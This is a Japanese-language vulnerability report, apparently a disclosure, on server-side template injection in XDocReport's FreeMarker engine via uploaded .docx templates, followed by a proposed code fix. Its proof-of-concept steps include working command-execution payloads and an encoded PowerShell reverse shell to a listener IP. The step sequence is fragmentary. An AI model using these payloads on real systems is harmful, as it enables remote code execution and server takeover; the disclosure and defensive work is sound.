脆弱性の概要
ビジネスへの影響
OpenSAGRES XDocReportにおいて、FreeMarkerエンジンでDOCXテンプレートを処理する際にServer-Side Template Injection (SSTI) 脆弱性が発見されました。特定の設定下で、細工されたテンプレートによりリモートコード実行 (RCE) が発生する可能性があります。
人事管理Webサイトでは、ユーザーが.docxドキュメントファイルをシステムにアップロードできます。処理中、アプリケーションはテンプレートエンジンFreeMarker(FreemarkerTemplateEngine.javaファイル内)を使用して、${"freemarker.template.utility.Execute"?new()("whoami")}のような内容をレンダリングしますが、入力内容の制御やフィルタリングの仕組みはありません。この脆弱性により、攻撃者は悪意のある式を.docxファイル(テンプレート)に挿入し、サーバー上でのリモートコード実行 (RCE) を引き起こし、情報の盗難やシステムの乗っ取りに悪用される可能性があります。
fr.opensagres.xdocreport.template.freemarker — XDocReport (バージョン1.0.0から2.1.0まで)。
https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.javaでは、入力されたxdocファイルの内容をチェックしていません。テンプレートの内容はそのままロードされ、サンドボックス化やディレクティブ/式の制限なしに、FreeMarkerエンジンによって処理されるprocess(context, writer, template)に渡されます。その結果、攻撃者は悪意のあるFreeMarkerの式やコマンドを含むテンプレートを提供でき、リモートコード実行 (RCE) につながります。.docxファイルをアップロードします。```
${"freemarker.template.utility.Execute"?new()("calc")}
2. 正常に実行され、電卓アプリが起動することを確認

3. 同様に、システム上で実行中のユーザー情報を取得するために、payload:```
${"freemarker.template.utility.Execute"?new()("whoami")}
.docx ファイルの処理を通じて、システムのデータが返されていることがわかる


6. インパクトをRCEに引き上げる
- 待ち受けマシンはWSLで、IPアドレスは`172.26.208.130`です

- 以下のペイロードでエクスプロイトします:
```java
${"freemarker.template.utility.Execute"?new()("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==")}
.docx ファイルを xdocreport に渡して処理するxdocreport\template\fr.opensagres.xdocreport.template.freemarker\src\main\java\fr\opensagres\xdocreport\template\freemarker\FreemarkerTemplateEngine.java に追加する私の修正では、${cuong.name} のような通常のオブジェクトとプロパティのレンダリングは引き続き許可し、危険な組み込み関数のみをブロックしています
${'freemarker.template.utility.Execute'?new()('calc')} - ブロックされる by ALLOWS_NOTHING_RESOLVER${'java.lang.Runtime'?api.getRuntime()} - ブロックされる by setAPIBuiltinEnabled(false)?new() と ?api を使用する他のすべてのペイロードもブロックされるPath: template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java
変更点:
✅ インポートを追加: java.util.regex.Pattern
✅ メソッド validateTemplateSecurity(Reader reader) を追加 — 危険なパターンを検証
✅ processNoCache() を更新 — Template 作成前に検証を追加